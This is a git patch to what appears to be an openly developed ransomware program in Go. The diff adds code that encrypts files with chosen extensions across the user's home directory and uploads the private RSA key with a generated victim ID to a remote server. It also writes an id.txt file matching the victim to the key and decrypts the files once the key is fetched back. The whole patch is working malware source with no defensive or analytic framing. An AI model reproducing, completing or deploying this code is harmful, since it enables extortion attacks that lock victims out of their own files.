From f9fbf70128feb28c588dcde4ba53a3a519767259 Mon Sep 17 00:00:00 2001
From: redpois0n <red@cmail.nu>
Date: Fri, 20 Jan 2017 11:49:59 +0100
Subject: [PATCH] Encrypt, decrypt, send key to server, get key to server,
 write file containing id

---
 comms.go  |  7 ++-----
 config.go |  2 +-
 main.go   | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++-----
 3 files changed, 60 insertions(+), 11 deletions(-)

diff --git a/comms.go b/comms.go
index 96a71a2..7df77cd 100644
--- a/comms.go
+++ b/comms.go
@@ -8,9 +8,8 @@ import (
 )
 
 // PostKey sends the private key to the remote serrver
-func PostKey(priv *rsa.PrivateKey) error {
+func PostKey(priv *rsa.PrivateKey, id string) error {
 	key := Stringify(priv)
-	id := "id"
 
 	_, err := http.PostForm(UploadEndpoint, url.Values{
 		"k": {key},
@@ -20,9 +19,7 @@ func PostKey(priv *rsa.PrivateKey) error {
 	return err
 }
 
-func GetKey() (*rsa.PrivateKey, error) {
-	id := "id"
-
+func GetKey(id string) (*rsa.PrivateKey, error) {
 	req, err := http.PostForm(RetrieveEndpoint, url.Values{
 		"i": {id},
 	})
diff --git a/config.go b/config.go
index df81ab5..9fa6f30 100644
--- a/config.go
+++ b/config.go
@@ -1,6 +1,6 @@
 package main
 
-// Extensions to encrypt
+// Extensions to walk
 var Extensions = [...]string{
 	"txt",
 	"doc",
diff --git a/main.go b/main.go
index 2b840ca..a3a3cb2 100644
--- a/main.go
+++ b/main.go
@@ -3,21 +3,73 @@ package main
 import (
 	"fmt"
 
+	"crypto/rand"
+	"crypto/rsa"
+	"crypto/sha256"
+	"encoding/hex"
+	"io/ioutil"
 	"os"
+	"strings"
 )
 
+// GenerateID generates the unique identifier
+func GenerateID() string {
+	r := make([]byte, 32)
+	rand.Read(r)
+
+	hash := sha256.New()
+
+	return hex.EncodeToString(hash.Sum(r))
+}
+
 func main() {
-	fmt.Println("generating keypair...")
-	priv := Generate()
+	idFile, err := os.Open("id.txt")
+
+	var priv *rsa.PrivateKey
+
+	shouldEncrypt := false
+
+	// File exists, read id and get key from server
+	if err == nil {
+		idBytes, err := ioutil.ReadAll(idFile)
+		idFile.Close()
+
+		if err != nil {
+			panic(err)
+		}
+
+		id := string(idBytes)
+		id = strings.Split(id, "\r\n")[1]
+
+		GetKey(id)
+	} else {
+		fmt.Println("generating keypair...")
+		priv = Generate()
+		shouldEncrypt = true
+	}
 
 	fmt.Println()
 	fmt.Println(Stringify(priv))
 
 	startWalk := GetHomeDir()
 
-	Walk(startWalk, func(filePath string, fileInfo os.FileInfo) {
-		fmt.Println("encrypting", filePath)
+	Walk(startWalk, func(filePath string, fileInfo os.FileInfo, isEncrypted bool) {
+		fmt.Println(filePath, "encrypted", isEncrypted)
 
-		encrypt(filePath, priv)
+		if shouldEncrypt && !isEncrypted {
+			encrypt(filePath, priv)
+		} else if isEncrypted {
+			decrypt(filePath, priv)
+		}
 	})
+
+	if shouldEncrypt {
+		id := GenerateID()
+
+		PostKey(priv, id)
+
+		data := "# Do not modify this file, it contains your ID matching the encryption key\r\n" + id
+
+		ioutil.WriteFile("id.txt", []byte(data), 0777)
+	}
 }